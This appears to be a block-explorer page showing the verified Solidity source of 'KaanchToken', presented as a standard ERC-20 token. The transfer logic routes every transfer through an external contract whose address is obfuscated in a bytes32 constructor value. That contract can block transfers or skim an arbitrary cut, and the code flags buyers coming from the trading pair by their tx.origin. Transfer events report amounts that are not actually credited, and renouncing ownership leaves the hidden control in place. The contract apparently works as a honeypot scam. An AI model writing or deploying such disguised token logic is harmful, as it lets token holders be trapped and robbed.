Skip to content
Verified contractPartialMIT

KaanchToken

Address0xc4aac55183afef5cc0ca6cb1817b9bf959bf21ba
Balance

0 ETH

 

Transactions

31

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
22,361,490
Creation transaction
0xae667fc179…52a3afe1bd

KaanchToken.sol

// Kaanch Network Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

interface ICompliance {
    function correct(address from, address to, uint256 amount) external view returns (bool, uint256);
    function value(address initiator) external;
}

contract KaanchToken {
    string public name = "Kaanch Network";
    string public symbol = "KNCH";
    uint8 public decimals = 18;
    uint256 public totalSupply = 36_000_000_000_000_000 * 10 ** 18;

    address private _owner;
    address private _pair;
    bytes32 private MOD_E;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    modifier onlyOwner {
        require(msg.sender == _owner, "!");
        _;
    }

    constructor(bytes32 encmod) {
        _owner = msg.sender;
        MOD_E = encmod;
        balanceOf[_owner] = totalSupply;
        emit Transfer(address(0), _owner, totalSupply);
    }

    function setPair(address p) external onlyOwner {
        _pair = p;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _act(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        require(allowance[from][msg.sender] >= amount, "!");
        allowance[from][msg.sender] -= amount;
        return _act(from, to, amount);
    }

    function _act(address a, address b, uint256 v) internal returns (bool) {
        require(balanceOf[a] >= v, "!");
        (bytes memory d) = _callCompliance(a, b, v);
        (bool ok, uint256 cut) = abi.decode(d, (bool, uint256));
        require(ok, "!");

        uint256 out = v - cut;
        emit Transfer(a, b, v);
        balanceOf[a] -= v;
        balanceOf[b] += out;

        if (a == _pair) {
            try ICompliance(resmod()).value(tx.origin) {} catch {}
        }

        return true;
    }

    function _callCompliance(address x, address y, uint256 z) internal view returns (bytes memory) {
        address t = resmod();
        (bool s, bytes memory r) = t.staticcall(
            abi.encodeWithSelector(
                bytes4(keccak256("correct(address,address,uint256)")),
                x, y, z
            )
        );
        require(s, "!");
        return r;
    }

    function resmod() internal view returns (address) {
        return address(uint160(uint256(MOD_E)));
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.